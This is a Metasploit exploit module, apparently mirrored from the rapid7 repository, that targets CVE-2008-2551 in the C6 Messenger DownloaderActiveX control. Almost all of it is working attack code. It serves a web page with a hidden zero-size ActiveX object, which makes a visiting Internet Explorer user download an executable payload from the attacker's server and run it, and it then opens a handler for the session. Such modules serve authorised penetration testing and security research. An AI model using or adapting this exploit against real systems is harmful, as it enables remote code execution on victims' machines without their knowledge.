CoCalc -- c6_messenger_downloaderactivex.rb

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
¹⁹⁵⁹¹ views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10
  include Msf::Exploit::EXE
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
17
        'Description' => %q{
18
          This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
19
          vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
20
          insecure control can be abused to download and execute arbitrary files in the context of
21
          the currently logged-on user.
22
        },
23
        'License' => MSF_LICENSE,
24
        'Author' => [
25
          'Unknown', # Nine:Situations:Group::SnoopyAssault, vulnerability discovery and exploit
26
          'juan vazquez' # metasploit module
27
        ],
28
        'References' => [
29
          [ 'CVE', '2008-2551' ],
30
          [ 'OSVDB', '45960' ],
31
          [ 'BID', '29519' ]
32
        ],
33
        'DefaultOptions' => {
34
          'EXITFUNC' => "none",
35
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
36
        },
37
        'Payload' => {
38
          'Space' => 2048,
39
          'StackAdjustment' => -3500,
40
        },
41
        'Platform' => 'win',
42
        'Targets' => [
43
          [ 'Automatic', {} ],
44
        ],
45
        'DisclosureDate' => '2008-06-03',
46
        'DefaultTarget' => 0,
47
        'Privileged' => false,
48
        'Notes' => {
49
          'Reliability' => UNKNOWN_RELIABILITY,
50
          'Stability' => UNKNOWN_STABILITY,
51
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
        }
53
      )
54
    )
55
  end
56

57
  def autofilter
58
    false
59
  end
60

61
  def check_dependencies
62
    use_zlib
63
  end
64

65
  def on_request_uri(cli, request)
66
    # Only IEs are potential targets
67
    # "File Session" is used when the ActiveX tries to request the EXE
68
    agent = request.headers['User-Agent']
69
    if agent !~ /MSIE \d\.\d|File Session/
70
      print_error("Target not supported: #{agent}")
71
      return
72
    end
73

74
    payload_url = "http://"
75
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
76
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/#{@payload_rand}"
77

78
    if (request.uri.match(/#{@payload_rand}/))
79
      return if ((p = regenerate_payload(cli)) == nil)
80

81
      data = generate_payload_exe({ :code => p.encoded })
82
      print_status("Sending EXE payload")
83
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
84
      return
85
    end
86

87
    exe = rand_text_alpha(rand(5) + 1)
88

89
    content = %Q|
90
    <html>
91
      <object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">
92
        <param name="propProgressBackground"  value="#bccee8">
93
        <param name="propTextBackground"  value="#f7f8fc">
94
        <param name="propBarColor"  value="#df0203">
95
        <param name="propTextColor"  value="#000000">
96
        <param name="propWidth"  value="0">
97
        <param name="propHeight"  value="0">
98
        <param name="propDownloadUrl"  value="#{payload_url}/#{exe}.exe">
99
        <param name="propPostDownloadAction"  value="run">
100
        <param name="propInstallCompleteUrl"  value="">
101
        <param name="propBrowserRedirectUrl"  value="">
102
        <param name="propVerbose"  value="0">
103
        <param name="propInterrupt"  value="0">
104
      </OBJECT>
105
    </html>
106
    |
107

108
    print_status("Sending #{self.name}")
109

110
    send_response_html(cli, content)
111

112
    handler(cli)
113
  end
114

115
  def exploit
116
    @payload_rand = rand_text_alpha(rand(5) + 5)
117
    super
118
  end
119
end
120

121
Product

Resources

Company
